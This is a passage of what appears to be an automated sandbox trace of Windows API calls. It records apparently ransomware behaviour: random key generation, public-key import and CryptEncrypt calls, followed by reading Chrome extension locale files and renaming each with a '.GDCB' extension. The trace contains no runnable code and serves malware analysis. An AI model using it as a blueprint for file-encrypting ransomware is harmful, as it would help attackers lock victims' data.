pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.419] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.419] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.422] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.424] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.424] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.424] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.424] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.426] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67962a0) returned 1 [0267.426] CryptGetKeyParam (in: hKey=0x67962a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.426] CryptEncrypt (in: hKey=0x67962a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.426] GetLastError () returned 0x0 [0267.426] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.427] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.428] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796360) returned 1 [0267.428] CryptGetKeyParam (in: hKey=0x6796360, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.428] CryptEncrypt (in: hKey=0x6796360, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.428] GetLastError () returned 0x0 [0267.428] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.429] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.430] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.432] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.435] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb2, lpOverlapped=0x0) returned 1 [0267.443] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.450] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.gdcb")) returned 1 [0267.455] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.458] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.460] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.460] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.460] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.460] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.464] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.465] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.465] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.495] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.497] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67963a0) returned 1 [0267.497] CryptGetKeyParam (in: hKey=0x67963a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.497] CryptEncrypt (in: hKey=0x67963a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.497] GetLastError () returned 0x0 [0267.497] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.497] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.499] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796420) returned 1 [0267.499] CryptGetKeyParam (in: hKey=0x6796420, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.499] CryptEncrypt (in: hKey=0x6796420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.499] GetLastError () returned 0x0 [0267.499] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.499] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.501] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.503] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.505] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb6, lpOverlapped=0x0) returned 1 [0267.517] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.524] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0267.531] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0267.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.536] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.536] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.536] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.538] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.540] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.540] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.540] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.541] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.543] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796460) returned 1 [0267.543] CryptGetKeyParam (in: hKey=0x6796460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.543] CryptEncrypt (in: hKey=0x6796460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.543] GetLastError () returned 0x0 [0267.543] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.543] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.545] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796560) returned 1 [0267.545] CryptGetKeyParam (in: hKey=0x6796560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.545] CryptEncrypt (in: hKey=0x6796560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.545] GetLastError () returned 0x0 [0267.545] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.545] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.546] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.549] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.551] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x16a, lpOverlapped=0x0) returned 1 [0267.559] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.568] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\iw\\messages.json.gdcb")) returned 1 [0267.573] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.576] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.578] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.578] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.578] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.578] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.581] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.583] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.583] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.583] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.583] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0267.585] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67965e0) returned 1 [0267.585] CryptGetKeyParam (in: hKey=0x67965e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.585] CryptEncrypt (in: hKey=0x67965e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.585] GetLastError () returned 0x0 [0267.585] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.585] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.587] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796e60) returned 1 [0267.587] CryptGetKeyParam (in: hKey=0x6796e60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.587] CryptEncrypt (in: hKey=0x6796e60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.587] GetLastError () returned 0x0 [0267.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.587] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.589] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.591] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.593] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfb, lpOverlapped=0x0) returned 1 [0267.601] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.607] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0267.612] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0267.615] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.617] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0267.617] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0267.617] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.621] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0267.622] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0267.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.622] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0267.624] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67969a0) returned 1 [0267.624] CryptGetKeyParam (in: hKey=0x67969a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.624] CryptEncrypt (in: hKey=0x67969a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0267.624] GetLastError () returned 0x0 [0267.624] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0267.624] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0267.626] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6796f60) returned 1 [0267.626] CryptGetKeyParam (in: hKey=0x6796f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0267.626] CryptEncrypt (in: hKey=0x6796f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0267.626] GetLastError () returned 0x0 [0267.626] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0267.626] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0267.627] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0267.630] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0267.632] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x165, lpOverlapped=0x0) returned 1 [0267.640] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0267.646] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json.gdcb")) returned 1 [0267.651] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0267.654] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0267.657] GetProcAddress (hModule=0x74c90000, 